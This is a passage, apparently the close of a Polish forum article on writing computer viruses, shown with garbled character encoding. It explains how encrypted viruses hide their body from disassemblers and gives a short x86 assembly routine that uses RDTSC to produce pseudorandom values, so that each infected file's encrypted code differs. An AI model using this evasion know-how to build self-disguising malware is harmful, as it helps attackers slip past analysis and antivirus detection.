I nawet je¶li zainfekowany plik potraktujemy disassemblerem, tak naprawde, zobaczymy tylko algorytm dekryptuj±cy, natomiast by przeanalizowaæ w³a¶ciwy kod wirusa bêdziemy musieli odkryptowaæ go rêcznie lub te¿ bêdziemy zobligowani do u¿ycia debuggera.
Dla celów algorytmu kryptuj±cego stosuje siê procedury pseudolosowe, aby zakryptowany kod wirusa by³ dla ka¿dego archiwum inny.
Przyk³ad :
Kod:
random:; procedura modyfikuje rejestry ECX i EDX
cmp eax,0; oraz warto¶æ losow± zwraca w EAX
je random_escape
xchg eax,ecx
rdtsc
xor edx,edx
div ecx
xchg eax,edx
add eax,1
random_escape:
ret
Procedura ta korzysta z instrukcji RDTSC, która zwraca licznik cykli wykonanych przez procesor od momentu startu komputera (EDX:EAX), oraz z warto¶ci rejestrów EAX na wej¶ciu do tej procedury.
----------
Na pewno, jak dostane w najbli¿szym czasie weny, to napiszê i kolejn± czê¶æ artyku³u..
----------
// nie wszystkie rzeczy by³y tu pisane przezemnie, niektóre z google.pl i wikipedia.pl
----------
Mam nadziejê, ¿e i ta czê¶æ artyku³u siê komu¶ przyda³a